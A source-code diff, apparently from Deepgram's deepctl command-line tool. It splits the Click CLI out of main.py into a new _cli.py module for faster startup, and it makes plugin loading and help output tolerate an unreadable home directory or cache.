+++ b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
@@ -185,6 +185,10 @@ def _notice(message: str) -> None:
 def _load_error(what: str, name: Any, error: BaseException) -> None:
     """A plugin load error, with the plugin's text shown literally."""
     label = f"{what} {_printable(str(name))}" if name else what
+    if isinstance(error, PermissionError) and _under_home(error.filename):
+        # An unreadable HOME or cache, not a broken plugin.
+        warn_plugins_unavailable(error, label)
+        return
     console.print(
         f"[red]Error loading {label}:[/red] {_printable(str(error))}",
         soft_wrap=True,
@@ -192,6 +196,53 @@ def _load_error(what: str, name: Any, error: BaseException) -> None:
     )
 
 
+def _under_home(filename: Any) -> bool:
+    """Whether an error's path is in the user's home (plugin venv, cache)."""
+    if not isinstance(filename, (str, bytes)):
+        return False
+    home = os.path.expanduser("~").rstrip(os.sep)
+    path = os.fsdecode(filename)
+    return home not in ("", "~") and path.startswith(home + os.sep)
+
+
+def plugins_unavailable_line(error: OSError, label: str | None = None) -> str:
+    """``WARN: Couldn't load plugins: <reason>. ...`` for an unreadable plugin home.
+
+    ``<reason>`` is the error text and the path it names, as plain text,
+    then what was being loaded when ``label`` names it.
+    """
+    reason = error.strerror or str(error) or type(error).__name__
+    if error.filename is not None:
+        reason = f"{reason}: {_display_path(Path(os.fsdecode(error.filename)))}"
+    if label:
+        reason = f"{reason} (while loading {label})"
+    return (
+        f"WARN: Couldn't load plugins: {_printable(reason)}. "
+        "Built-in commands still work."
+    )
+
+
+_plugins_unavailable_warned = False
+
+
+def warn_plugins_unavailable(error: OSError, label: str | None = None) -> None:
+    """Report, on one stderr line, that plugins couldn't be read.
+
+    An unreadable HOME, plugin venv or cache is normal in sandboxes, so it
+    costs the plugins, not the run: built-in commands still load. Only the
+    first such error is shown; later ones have the same cause.
+    """
+    global _plugins_unavailable_warned
+    if _plugins_unavailable_warned:
+        return
+    _plugins_unavailable_warned = True
+    try:
+        sys.stderr.write(plugins_unavailable_line(error, label) + "\n")
+        sys.stderr.flush()
+    except (OSError, ValueError):
+        pass
+
+
 def _display_path(path: Path) -> str:
     """``path`` with the home directory shown as ``~``."""
     text = str(path)
@@ -546,6 +597,14 @@ def _load_plugin_venv_entries(self, cli_group: click.Group) -> None:
         when it resolves through a symlink or inside the working directory
         (see ``agent_plugin_venv``).
         """
+        try:
+            self._bridge_plugin_venv(cli_group)
+        except OSError as exc:
+            # PLUGIN_VENV.exists() and friends raise on EACCES (Python 3.12+).
+            warn_plugins_unavailable(exc)
+
+    def _bridge_plugin_venv(self, cli_group: click.Group) -> None:
+        """``_load_plugin_venv_entries``'s body; may raise ``OSError``."""
         venv = PLUGIN_VENV
         state_file = None
         if is_ai_agent():
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py b/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
index 2d02d6b5..abba90cc 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
@@ -99,7 +99,14 @@ def install_help_notice(fallback_config: Callable[[], Config]) -> None:
     original_get_help = click.Command.get_help
 
     def get_help_with_notice(self: click.Command, ctx: click.Context) -> str:
-        notice = render_notice(_config_for_help(ctx, _fallback[0]))
+        try:
+            notice = render_notice(_config_for_help(ctx, _fallback[0]))
+        except OSError:
+            # No readable config (an unreadable HOME): telemetry was never
+            # turned on for this run, so it is off. Help still prints.
+            notice = NOTICE_OFF
+            if not os.environ.get("NO_COLOR") and _stdout_is_tty():
+                notice = click.style(notice, dim=True)
         return original_get_help(self, ctx) + "\n\n" + notice
 
     click.Command.get_help = get_help_with_notice  # type: ignore[method-assign]
diff --git a/src/deepctl/__init__.py b/src/deepctl/__init__.py
index 1ed0c08f..112d4374 100644
--- a/src/deepctl/__init__.py
+++ b/src/deepctl/__init__.py
@@ -1,11 +1,15 @@
 """deepctl - Official command-line interface for Deepgram's speech
-recognition API."""
+recognition API.
+
+Stdlib only, and nothing is imported here: ``dg --version`` and the ``dg mcp``
+handshake run from this package without loading Click or ``deepctl_core``.
+The console scripts call ``deepctl.main:main``; this package deliberately
+exports no ``main`` (``deepctl.main`` is the submodule).
+"""
 
 __version__ = "0.4.0"  # x-release-please-version
 __author__ = "Deepgram"
 __email__ = "devrel@deepgram.com"
 __license__ = "MIT"
 
-from .main import main
-
-__all__ = ["main"]
+__all__ = ["__version__"]
diff --git a/src/deepctl/__main__.py b/src/deepctl/__main__.py
new file mode 100644
index 00000000..0b6640a4
--- /dev/null
+++ b/src/deepctl/__main__.py
@@ -0,0 +1,5 @@
+"""``python -m deepctl``: the same entry point as the ``dg`` console script."""
+
+from deepctl.main import main
+
+main()
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
new file mode 100644
index 00000000..088ca493
--- /dev/null
+++ b/src/deepctl/_cli.py
@@ -0,0 +1,619 @@
+"""The Click CLI behind ``dg``: the root group, plugin loading and ``run()``.
+
+``deepctl.main`` imports this module only on the full path. ``dg --version``
+and the ``dg mcp`` handshake never load it (or Click, or ``deepctl_core``).
+Plugin commands load in ``run()``, inside its error handling, not at import.
+"""
+
+from __future__ import annotations
+
+import sys
+import time
+from typing import TYPE_CHECKING, Any
+
+import click
+from deepctl_core import (
+    Config,
+    TimingContext,
+    enable_timing,
+    print_timing_summary,
+    setup_output,
+)
+from deepctl_core.output import stderr_console
+
+from deepctl import __version__
+
+if TYPE_CHECKING:
+    from collections.abc import Callable
+
+# Diagnostics go to stderr so stdout carries only the requested payload -- a
+# crash or usage error must not corrupt `dg -o json ...` for a script piping
+# stdout into jq. Same console the command layer uses via print_error(), so
+# root-level and command-level diagnostics format identically (including the
+# no-color handling for agentic/CI callers).
+console = stderr_console
+
+
+def _record_install_method_cb(
+    ctx: click.Context, param: click.Parameter, value: str | None
+) -> None:
+    """Write the installation method to config. Called by install scripts."""
+    if not value or ctx.resilient_parsing:
+        return
+    try:
+        config = Config()
+        config._set_config_value("update.installation_method", value)
+        config.save(implicit=True)
+    except OSError as exc:
+        # A failed write must not look like success to the install script.
+        console.print(f"[red]Error:[/red] could not save the config file: {exc}")
+        # sys.exit, not ctx.exit: main() runs Click with standalone_mode=False,
+        # where ctx.exit(1) would only become an ignored return value.
+        sys.exit(1)
+    except Exception:
+        pass
+    ctx.exit()
+
+
+def _root_flag_opts() -> set[str]:
+    """Root options that take no value: flags, plus `--help`."""
+    opts = {"--help"}
+    for param in cli.params:
+        if isinstance(param, click.Option) and param.is_flag:
+            opts.update(param.opts)
+            opts.update(param.secondary_opts)
+    return opts
+
+
+def _takes_next_token(arg: str, flag_opts: set[str]) -> bool:
+    """Whether root option `arg` takes the following token as its value.
+
+    Mirrors click: flags take nothing, `--opt=value` and `-Xvalue` carry
+    their value, and a short cluster such as `-qv` or `-qpprod` is read
+    letter by letter until the first option that takes a value.
+    """
+    if arg in flag_opts or "=" in arg:
+        return False
+    if arg.startswith("--") or len(arg) <= 2:
+        return True
+    letters = arg[1:]
+    for index, letter in enumerate(letters):
+        if f"-{letter}" in flag_opts:
+            continue
+        # The first option that takes a value: anything after it is the
+        # attached value; nothing after it means the next token is.
+        return index == len(letters) - 1
+    return False
+
+
+def preprocess_hyphenated_commands(args: list[str]) -> list[str]:
+    """Convert hyphenated commands to nested commands.
+
+    This function looks for commands in the format 'group-subcommand' and
+    converts them to the nested format Click expects (e.g., 'group
+    subcommand').
+
+    Args:
+        args: Command line arguments
+
+    Returns:
+        Modified arguments with hyphenated commands converted to nested format
+    """
+    if not args:
+        return args
+
+    # Get all registered commands to know which are groups
+    from importlib import metadata
+
+    group_commands = set()
+
+    # Discover group commands from entry points
+    try:
+        entry_points = metadata.entry_points()
+        for entry_point in entry_points.select(group="deepctl.commands"):
+            # We'll need to check if it's a group, but for now we'll use a
+            # heuristic
+            subcommand_group = f"deepctl.subcommands.{entry_point.name}"
+            try:
+                subcommand_eps = list(entry_points.select(group=subcommand_group))
+                if subcommand_eps:
+                    group_commands.add(entry_point.name)
+            except Exception:
+                pass
+    except Exception:
+        pass
+
+    flag_opts = _root_flag_opts()
+
+    # Walk the root options to find the command token. Only that token is
+    # expanded; everything after it belongs to the command and is kept
+    # verbatim (`dg listen debug-call.wav` must not be split).
+    new_args: list[str] = []
+    i = 0
+    while i < len(args):
+        arg = args[i]
+        if arg == "--":
+            break
+        if arg.startswith("-"):
+            new_args.append(arg)
+            i += 1
+            # An option that takes a value consumes the next token too,
+            # unless the value is attached (`--opt=value`, `-Xvalue`).
+            if (
+                _takes_next_token(arg, flag_opts)
+                and i < len(args)
+                and not args[i].startswith("-")
+            ):
+                new_args.append(args[i])
+                i += 1
+            continue
+
+        group_name, sep, subcommand = arg.partition("-")
+        if sep and group_name in group_commands:
+            new_args.extend([group_name, subcommand])
+            i += 1
+        break
+
+    return new_args + args[i:]
+
+
+def _root_option_tokens(args: list[str]) -> list[str]:
+    """The option tokens before the subcommand (values skipped)."""
+    flag_opts = _root_flag_opts()
+    tokens: list[str] = []
+    i = 0
+    while i < len(args) and args[i].startswith("-"):
+        arg = args[i]
+        tokens.append(arg)
+        i += 1
+        if _takes_next_token(arg, flag_opts):
+            i += 1  # skip the option's value
+    return tokens
+
+
+def _no_telemetry_cb(ctx: click.Context, param: click.Parameter, value: bool) -> None:
+    """Turn telemetry off for this run. Eager, so root `--help` reflects it."""
+    if not value or ctx.resilient_parsing:
+        return
+    try:
+        from deepctl_telemetry import disable_for_run
+
+        disable_for_run()
+    except Exception:
+        pass
+
+
+def _init_telemetry(config: Config) -> None:
+    """Decide telemetry from the resolved Config. Never loads the SDK."""
+    try:
+        from deepctl_telemetry import init_telemetry
+
+        init_telemetry(config)
+    except Exception:
+        pass
+
+
+def _report_error(exc: BaseException) -> None:
+    """Send an error report if telemetry is on (the SDK loads only here).
+
+    A Ctrl-C while the report is sent is still a user cancellation: exit 2.
+    """
+    try:
+        from deepctl_telemetry import report_exception
+
+        report_exception(exc)
+    except KeyboardInterrupt:
+        _safe_console_print("\n[yellow]Stopped sending the error report.[/yellow]")
+        sys.exit(2)
+    except Exception:
+        pass
+
+
+# The arguments run() was called with (Click clears them from the root
+# context before the root callback runs).
+_run_args: list[str] | None = None
+
+
+def _help_requested() -> bool:
+    """Whether this run asks for help (and so needs no readable config)."""
+    args = sys.argv[1:] if _run_args is None else _run_args
+    return "--help" in args
+
+
+def _argv_config_path(args: list[str]) -> str | None:
+    """`--config` from the root arguments, only for the notice on root `--help`.
+
+    Root `--help` is eager and fires before the root callback resolves
+    `--config`; every other path uses the parsed value. Accepts
+    `--config X`, `--config=X`, `-c X`, `-cX` and clusters such as `-qcX`.
+    When the option repeats, the last value wins, as in click.
+    """
+    flag_opts = _root_flag_opts()
+    found: str | None = None
+    i = 0
+    while i < len(args) and args[i].startswith("-"):
+        arg = args[i]
+        i += 1
+        if arg.startswith("--config="):
+            found = arg.split("=", 1)[1]
+        elif arg == "--config":
+            found = args[i] if i < len(args) else None
+        elif not arg.startswith("--"):
+            for index, letter in enumerate(arg[1:]):
+                if f"-{letter}" in flag_opts:
+                    continue
+                if letter == "c":
+                    rest = arg[index + 2 :]
+                    found = rest or (args[i] if i < len(args) else None)
+                break
+        if _takes_next_token(arg, flag_opts):
+            i += 1
+    return found
+
+
+# Create CLI group
+@click.group(name="deepctl")
+@click.version_option(version=__version__, prog_name="deepctl")
+@click.option(
+    "--config",
+    "-c",
+    type=click.Path(exists=True),
+    help="Path to configuration file",
+)
+@click.option(
+    "--profile",
+    "-p",
+    help="Configuration profile to use",
+)
+@click.option(
+    "--base-url",
+    help=(
+        "Override the API base URL (e.g. https://api.eu.deepgram.com). "
+        "Hosts other than Deepgram API hosts must be listed in "
+        "api.allowed_hosts. "
+        "REST and WebSocket endpoints are derived from this host. "
+        "Also settable via the DEEPGRAM_BASE_URL environment variable."
+    ),
+)
+@click.option(
+    "--api-key",
+    help=(
+        "Deepgram API key to use, overriding login/profile/env credentials. "
+        "Intended for testing and CI."
+    ),
+)
+@click.option(
+    "--output",
+    "-o",
+    type=click.Choice(["json", "yaml", "table", "csv"], case_sensitive=False),
+    help="Output format",
+)
+@click.option(
+    "--quiet",
+    "-q",
+    is_flag=True,
+    help="Suppress non-essential output",
+)
+@click.option(
+    "--verbose",
+    "-v",
+    is_flag=True,
+    help="Enable verbose output",
+)
+@click.option(
+    "--timing",
+    is_flag=True,
+    help="Show performance timing information",
+)
+@click.option(
+    "--timing-detailed",
+    is_flag=True,
+    help="Show detailed performance timing information",
+)
+@click.option(
+    "--no-telemetry",
+    is_flag=True,
+    is_eager=True,
+    expose_value=False,
+    callback=_no_telemetry_cb,
+    help="No effect: this version of dg sends no telemetry",
+)
+@click.option(
+    "--non-interactive",
+    is_flag=True,
+    is_eager=True,
+    expose_value=False,
+    help="Skip interactive prompts; use defaults for any optional features.",
+)
+@click.option(
+    "--record-install-method",
+    is_eager=True,
+    expose_value=False,
+    hidden=True,
+    callback=_record_install_method_cb,
+    metavar="METHOD",
+    help="Internal: record the installation method used by the install script",
+)
+@click.pass_context
+def cli(
+    ctx: click.Context,
+    config: str | None,
+    profile: str | None,
+    base_url: str | None,
+    api_key: str | None,
+    output: str | None,
+    quiet: bool,
+    verbose: bool,
+    timing: bool,
+    timing_detailed: bool,
+) -> None:
+    """\b
+    ████████████████
+    ██████████████████
+    ████████████████████
+    █████████████████████
+    ███████      ████████
+    ███████       ███████
+                 ████████
+          ███████████████
+        ████████████████
+      ████████████████
+    ████████████████
+
+    deepctl — Official Deepgram CLI
+    STT · TTS · Audio Intelligence"""
+
+    # Enable timing if requested
+    if timing or timing_detailed:
+        enable_timing()
+
+    with TimingContext("cli_initialization"):
+        # Initialize configuration. A --base-url flag overrides the
+        # configured/env base URL for this run only; Config records that it
+        # came from the command line, so it is never saved and gets
+        # credentials only if the host is trusted.
+        ctx.ensure_object(dict)
+        try:
+            ctx.obj["config"] = Config(
+                config_path=config, profile=profile, base_url=base_url
+            )
+        except OSError:
+            # An unreadable HOME must not block `dg <cmd> --help`.
+            # Anything that runs still fails, on its own Config().
+            if not _help_requested():
+                raise
+            ctx.obj["config"] = None
+        # Global --api-key passthrough (highest-precedence explicit credential).
+        ctx.obj["api_key"] = api_key
+        ctx.obj["timing"] = timing or timing_detailed
+        ctx.obj["timing_detailed"] = timing_detailed
+
+        # Setup output formatting
+        setup_output(
+            format_type=output or "default",
+            quiet=quiet,
+            verbose=verbose,
+        )
+
+        # Telemetry is decided here, after option parsing, so --config and
+        # --no-telemetry are honored.
+        if ctx.obj["config"] is not None:
+            _init_telemetry(ctx.obj["config"])
+
+
+_commands_loaded = False
+
+
+def load_commands() -> None:
+    """Load the commands from package entry points into ``cli``, once.
+
+    Runs inside ``run()``'s error handling (W1.3), so an unreadable HOME or
+    plugin cache degrades to one ``WARN:`` line instead of a traceback.
+    """
+    global _commands_loaded
+    if _commands_loaded:
+        return
+    _commands_loaded = True
+    from deepctl_core import PluginManager
+
+    with TimingContext("plugin_loading"):
+        try:
+            PluginManager().load_plugins(cli)
+        except OSError as exc:
+            from deepctl_core.plugin_manager import warn_plugins_unavailable
+
+            warn_plugins_unavailable(exc)
+
+
+def get_cli() -> click.Group:
+    """The root group with its commands loaded (for importers and tests)."""
+    load_commands()
+    return cli
+
+
+def _global_option_hint(message: str) -> str | None:
+    """Build a placement hint when a 'No such option' names a global option.
+
+    Global options belong before the subcommand (``dg -o json models``).
+    When one is placed after the subcommand instead (``dg models --profile
+    staging``), Click reports "No such option" with no explanation, which
+    reads as if the option does not exist at all. This looks the failing
+    option up on the root group and, when it is a global one, returns a
+    hint showing the working placement.
+    """
+    import re
+
+    match = re.search(r"[Nn]o such option:?\s*'?(--?[A-Za-z][\w-]*)'?", message)
+    if not match:
+        return None
+    token = match.group(1)
+
+    for param in cli.params:
+        opts = list(getattr(param, "opts", [])) + list(
+            getattr(param, "secondary_opts", [])
+        )
+        if token in opts:
+            takes_value = not getattr(param, "is_flag", False)
+            usage = f"{token} <value>" if takes_value else token
+            return (
+                f"[yellow]Hint: '{token}' is a global option and must come "
+                f"before the subcommand, for example: "
+                f"dg {usage} <command> ...[/yellow]"
+            )
+    return None
+
+
+def _safe_console_print(message: str) -> None:
+    """Print a diagnostic to stderr, tolerating a closed/broken stream.
+
+    When `dg` runs as an MCP server, the host can close stdio before the
+    process finishes. A write to the closed stream raises ``BrokenPipeError``
+    (or rich's ``ValueError: I/O operation on closed file``); there is nowhere
+    left to report the message, so swallow it rather than crash on exit.
+    """
+    try:
+        console.print(message)
+    except (BrokenPipeError, OSError, ValueError):
+        pass
+
+
+def _best_effort(notice: Callable[..., object], **kwargs: Any) -> None:
+    """Run a startup check or notice; an unreadable cache skips it."""
+    try:
+        notice(**kwargs)
+    except OSError:
+        pass
+
+
+def _record_startup(started_at: float) -> None:
+    """Add process startup (from ``main()``'s first line) to ``--timing``."""
+    from deepctl_core.timing import TimingEntry, get_timing_collector
+
+    entry = TimingEntry(name="startup_imports", start_time=started_at)
+    entry.finish()
+    get_timing_collector().entries[entry.name] = entry
+
+
+def run(args: list[str], started_at: float | None = None) -> None:
+    """Run the CLI for ``args`` (argv without the program name).
+
+    ``started_at`` is ``time.perf_counter()`` from the first line of
+    ``deepctl.main.main()``, so ``--timing`` includes the imports.
+    """
+    global _run_args
+    if started_at is None:
+        started_at = time.perf_counter()
+    _run_args = list(args)
+    try:
+        # Check if timing was requested and enable it early
+        timing_requested = "--timing" in args or "--timing-detailed" in args
+        detailed_timing = "--timing-detailed" in args
+        quiet_requested = "--quiet" in args or "-q" in args
+
+        if timing_requested:
+            enable_timing()
+            _record_startup(started_at)
+
+        load_commands()
+
+        # Install the --help telemetry footer. Telemetry itself is decided in
+        # the root callback, after option parsing. `--no-telemetry` is also
+        # applied here so it holds even after an eager `--help` before it.
+        try:
+            from deepctl_telemetry import disable_for_run, install_help_notice
+
+            if "--no-telemetry" in _root_option_tokens(args):
+                disable_for_run()
+            install_help_notice(lambda: Config(config_path=_argv_config_path(args)))
+        except Exception:
+            pass
+
+        # Start background update checks (non-blocking)
+        try:
+            from deepctl_cmd_update.startup_check import (
+                check_and_notify,
+                print_pending_notification,
+            )
+
+            _best_effort(check_and_notify, quiet=quiet_requested)
+        except ImportError:
+            check_and_notify = None  # type: ignore[assignment]
+            print_pending_notification = None  # type: ignore[assignment]
+
+        try:
+            from deepctl_cmd_update.plugin_update_check import (
+                check_plugins_and_notify,
+                print_pending_plugin_notifications,
+            )
+
+            _best_effort(check_plugins_and_notify, quiet=quiet_requested)
+        except ImportError:
+            print_pending_plugin_notifications = None  # type: ignore[assignment]
+
+        # Start background AI CLI detection (non-blocking)
+        try:
+            from deepctl_cmd_skills.startup_check import (
+                check_and_notify as skills_check_and_notify,
+            )
+            from deepctl_cmd_skills.startup_check import (
+                print_pending_notification as print_pending_skills_notification,
+            )
+
+            _best_effort(skills_check_and_notify, quiet=quiet_requested)
+        except ImportError:
+            print_pending_skills_notification = None  # type: ignore[assignment]
+
+        with TimingContext("total_execution"):
+            with TimingContext("argument_preprocessing"):
+                # Preprocess arguments to handle hyphenated commands
+                processed_args = preprocess_hyphenated_commands(args)
+
+            exit_code = 0
+            with TimingContext("cli_execution"):
+                try:
+                    cli(args=processed_args, standalone_mode=False)
+                except SystemExit as exc:
+                    # Click calls sys.exit() even in non-standalone mode, so we
+                    # cannot let this propagate — the notifications and timing
+                    # summary below still need to run. But swallowing the code
+                    # outright made every failure exit 0, which is what broke
+                    # `if dg -o json keys; then ...` in scripts and CI. Carry it
+                    # and re-raise at the end instead.
+                    exit_code = exc.code if isinstance(exc.code, int) else 0
+
+        # Print update notifications if available (before timing summary)
+        if print_pending_notification is not None:
+            _best_effort(print_pending_notification)
+        if print_pending_plugin_notifications is not None:
+            _best_effort(print_pending_plugin_notifications)
+        if print_pending_skills_notification is not None:
+            _best_effort(print_pending_skills_notification)
+
+        # Print timing summary if timing was enabled
+        if timing_requested:
+            print_timing_summary(detailed_timing)
+
+        if exit_code:
+            sys.exit(exit_code)
+
+    except (KeyboardInterrupt, click.exceptions.Abort):
+        # Click wraps a Ctrl-C/Ctrl-D raised inside cli() in Abort when
+        # standalone_mode=False, so a mid-command interrupt arrives here as
+        # Abort, not KeyboardInterrupt. Both are user cancellation: exit 2.
+        _safe_console_print("\n[yellow]Operation cancelled by user[/yellow]")
+        sys.exit(2)
+    except click.UsageError as e:
+        # Keep the published exit-code contract (1 = error), but explain the
+        # one failure mode that reads as a lie: a *global* option placed
+        # after the subcommand, where Click says "No such option" about an
+        # option that very much exists.
+        message = e.format_message()
+        _safe_console_print(f"[red]Error: {message}[/red]")
+        hint = _global_option_hint(message)
+        if hint:
+            _safe_console_print(hint)
+        sys.exit(1)
+    except Exception as e:
+        _safe_console_print(f"[red]Error: {e}[/red]")
+        _report_error(e)
+        sys.exit(1)  # 1 = error; 2 is reserved for user interrupt
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index da855455..31c22d2d 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -1,441 +1,75 @@
-"""Main entry point for deepctl."""
+"""Entry point for ``dg``, ``deepctl``, ``deepgram`` and ``python -m deepctl``.
 
-from __future__ import annotations
+Only ``sys`` and ``os`` are imported at module level. ``main()`` peeks at
+argv first, so two paths finish without Click or ``deepctl_core``:
 
-import importlib.metadata
+- ``dg --version`` prints the version constant (the same bytes Click printed
+  in 0.4.x) and exits 0.
+- ``dg mcp`` (stdio, no other options) answers the MCP handshake locally in
+  ``deepctl.mcp._fast`` and hands the session to the proxy on the first call.
+
+Everything else imports ``deepctl._cli`` and runs the Click CLI as before.
+Names that used to live here (``cli``, ``load_commands`` and the helpers)
+resolve from ``deepctl._cli`` through ``__getattr__``; ``cli`` comes back with
+its commands loaded, as it did when this module loaded them at import. That
+covers reads only: to patch them, patch ``deepctl._cli.<name>``.
+"""
+
+import os
 import sys
 
-import click
-from deepctl_core import (
-    Config,
-    TimingContext,
-    enable_timing,
-    print_timing_summary,
-    setup_output,
+# typing is not imported at run time (it costs more than this whole path);
+# type checkers treat a name called TYPE_CHECKING as true.
+TYPE_CHECKING = False
+if TYPE_CHECKING:
+    from types import TracebackType
+    from typing import Any
+
+LAUNCHER_ENV_VAR = "DEEPCTL_LAUNCHER"
+
+# DEEPCTL_LAUNCHER as main() found it (set by the @deepgram/cli npm package),
+# or None. main() removes it from os.environ first thing, so nothing deepctl
+# starts inherits it; deepctl_core.launcher reads it from here.
+LAUNCHER: "str | None" = None
+LAUNCHER_CAPTURED = False
+
+# The `dg mcp` arguments the fast path accepts; anything else takes the full
+# path (and its Click errors).
+_FAST_MCP_ARGS: "tuple[list[str], ...]" = (
+    [],
+    ["--transport", "stdio"],
+    ["--transport=stdio"],
+    ["-t", "stdio"],
 )
-from deepctl_core.output import stderr_console
-from rich.traceback import install
 
-# Install rich traceback for better error messages, without frame locals.
-install(show_locals=False)
 
-# Diagnostics go to stderr so stdout carries only the requested payload -- a
-# crash or usage error must not corrupt `dg -o json ...` for a script piping
-# stdout into jq. Same console the command layer uses via print_error(), so
-# root-level and command-level diagnostics format identically (including the
-# no-color handling for agentic/CI callers).
-console = stderr_console
+def capture_launcher() -> "str | None":
+    """Read and remove ``DEEPCTL_LAUNCHER`` (first call only); return its value."""
+    global LAUNCHER, LAUNCHER_CAPTURED
+    if not LAUNCHER_CAPTURED:
+        LAUNCHER = os.environ.pop(LAUNCHER_ENV_VAR, None) or None
+        LAUNCHER_CAPTURED = True
+    return LAUNCHER
 
 
-def _record_install_method_cb(
-    ctx: click.Context, param: click.Parameter, value: str | None
+def _rich_excepthook(
+    exc_type: "type[BaseException]",
+    exc: BaseException,
+    tb: "TracebackType | None",
 ) -> None:
-    """Write the installation method to config. Called by install scripts."""
-    if not value or ctx.resilient_parsing:
-        return
-    try:
-        config = Config()
-        config._set_config_value("update.installation_method", value)
-        config.save(implicit=True)
-    except OSError as exc:
-        # A failed write must not look like success to the install script.
-        console.print(f"[red]Error:[/red] could not save the config file: {exc}")
-        # sys.exit, not ctx.exit: main() runs Click with standalone_mode=False,
-        # where ctx.exit(1) would only become an ignored return value.
-        sys.exit(1)
-    except Exception:
-        pass
-    ctx.exit()
-
-
-def _root_flag_opts() -> set[str]:
-    """Root options that take no value: flags, plus `--help`."""
-    opts = {"--help"}
-    for param in cli.params:
-        if isinstance(param, click.Option) and param.is_flag:
-            opts.update(param.opts)
-            opts.update(param.secondary_opts)
-    return opts
-
-
-def _takes_next_token(arg: str, flag_opts: set[str]) -> bool:
-    """Whether root option `arg` takes the following token as its value.
-
-    Mirrors click: flags take nothing, `--opt=value` and `-Xvalue` carry
-    their value, and a short cluster such as `-qv` or `-qpprod` is read
-    letter by letter until the first option that takes a value.
-    """
-    if arg in flag_opts or "=" in arg:
-        return False
-    if arg.startswith("--") or len(arg) <= 2:
-        return True
-    letters = arg[1:]
-    for index, letter in enumerate(letters):
-        if f"-{letter}" in flag_opts:
-            continue
-        # The first option that takes a value: anything after it is the
-        # attached value; nothing after it means the next token is.
-        return index == len(letters) - 1
-    return False
-
-
-def preprocess_hyphenated_commands(args: list[str]) -> list[str]:
-    """Convert hyphenated commands to nested commands.
-
-    This function looks for commands in the format 'group-subcommand' and
-    converts them to the nested format Click expects (e.g., 'group
-    subcommand').
-
-    Args:
-        args: Command line arguments
-
-    Returns:
-        Modified arguments with hyphenated commands converted to nested format
-    """
-    if not args:
-        return args
-
-    # Get all registered commands to know which are groups
-    from importlib import metadata
-
-    group_commands = set()
-
-    # Discover group commands from entry points
-    try:
-        entry_points = metadata.entry_points()
-        for entry_point in entry_points.select(group="deepctl.commands"):
-            # We'll need to check if it's a group, but for now we'll use a
-            # heuristic
-            subcommand_group = f"deepctl.subcommands.{entry_point.name}"
-            try:
-                subcommand_eps = list(entry_points.select(group=subcommand_group))
-                if subcommand_eps:
-                    group_commands.add(entry_point.name)
-            except Exception:
-                pass
-    except Exception:
-        pass
-
-    flag_opts = _root_flag_opts()
-
-    # Walk the root options to find the command token. Only that token is
-    # expanded; everything after it belongs to the command and is kept
-    # verbatim (`dg listen debug-call.wav` must not be split).
-    new_args: list[str] = []
-    i = 0
-    while i < len(args):
-        arg = args[i]
-        if arg == "--":
-            break
-        if arg.startswith("-"):
-            new_args.append(arg)
-            i += 1
-            # An option that takes a value consumes the next token too,
-            # unless the value is attached (`--opt=value`, `-Xvalue`).
-            if (
-                _takes_next_token(arg, flag_opts)
-                and i < len(args)
-                and not args[i].startswith("-")
-            ):
-                new_args.append(args[i])
-                i += 1
-            continue
-
-        group_name, sep, subcommand = arg.partition("-")
-        if sep and group_name in group_commands:
-            new_args.extend([group_name, subcommand])
-            i += 1
-        break
-
-    return new_args + args[i:]
-
-
-def _root_option_tokens(args: list[str]) -> list[str]:
-    """The option tokens before the subcommand (values skipped)."""
-    flag_opts = _root_flag_opts()
-    tokens: list[str] = []
-    i = 0
-    while i < len(args) and args[i].startswith("-"):
-        arg = args[i]
-        tokens.append(arg)
-        i += 1
-        if _takes_next_token(arg, flag_opts):
-            i += 1  # skip the option's value
-    return tokens
-
-
-def _no_telemetry_cb(ctx: click.Context, param: click.Parameter, value: bool) -> None:
-    """Turn telemetry off for this run. Eager, so root `--help` reflects it."""
-    if not value or ctx.resilient_parsing:
-        return
-    try:
-        from deepctl_telemetry import disable_for_run
-
-        disable_for_run()
-    except Exception:
-        pass
-
-
-def _init_telemetry(config: Config) -> None:
-    """Decide telemetry from the resolved Config. Never loads the SDK."""
-    try:
-        from deepctl_telemetry import init_telemetry
-
-        init_telemetry(config)
-    except Exception:
-        pass
+    """Show an uncaught exception as a rich traceback, without frame locals.
 
-
-def _report_error(exc: BaseException) -> None:
-    """Send an error report if telemetry is on (the SDK loads only here).
-
-    A Ctrl-C while the report is sent is still a user cancellation: exit 2.
+    Installed by main() on the full path. Rich loads only when an exception
+    actually reaches the interpreter's top level.
     """
     try:
-        from deepctl_telemetry import report_exception
+        from rich.traceback import install
 
-        report_exception(exc)
-    except KeyboardInterrupt:
-        _safe_console_print("\n[yellow]Stopped sending the error report.[/yellow]")
-        sys.exit(2)
+        install(show_locals=False)
     except Exception:
-        pass
-
-
-def _argv_config_path(args: list[str]) -> str | None:
-    """`--config` from the root arguments, only for the notice on root `--help`.
-
-    Root `--help` is eager and fires before the root callback resolves
-    `--config`; every other path uses the parsed value. Accepts
-    `--config X`, `--config=X`, `-c X`, `-cX` and clusters such as `-qcX`.
-    When the option repeats, the last value wins, as in click.
-    """
-    flag_opts = _root_flag_opts()
-    found: str | None = None
-    i = 0
-    while i < len(args) and args[i].startswith("-"):
-        arg = args[i]
-        i += 1
-        if arg.startswith("--config="):
-            found = arg.split("=", 1)[1]
-        elif arg == "--config":
-            found = args[i] if i < len(args) else None
-        elif not arg.startswith("--"):
-            for index, letter in enumerate(arg[1:]):
-                if f"-{letter}" in flag_opts:
-                    continue
-                if letter == "c":
-                    rest = arg[index + 2 :]
-                    found = rest or (args[i] if i < len(args) else None)
-                break
-        if _takes_next_token(arg, flag_opts):
-            i += 1
-    return found
-
-
-# Create CLI group
-@click.group(name="deepctl")
-@click.version_option(
-    version=importlib.metadata.version("deepctl"), prog_name="deepctl"
-)
-@click.option(
-    "--config",
-    "-c",
-    type=click.Path(exists=True),
-    help="Path to configuration file",
-)
-@click.option(
-    "--profile",
-    "-p",
-    help="Configuration profile to use",
-)
-@click.option(
-    "--base-url",
-    help=(
-        "Override the API base URL (e.g. https://api.eu.deepgram.com). "
-        "Hosts other than Deepgram API hosts must be listed in "
-        "api.allowed_hosts. "
-        "REST and WebSocket endpoints are derived from this host. "
-        "Also settable via the DEEPGRAM_BASE_URL environment variable."
-    ),
-)
-@click.option(
-    "--api-key",
-    help=(
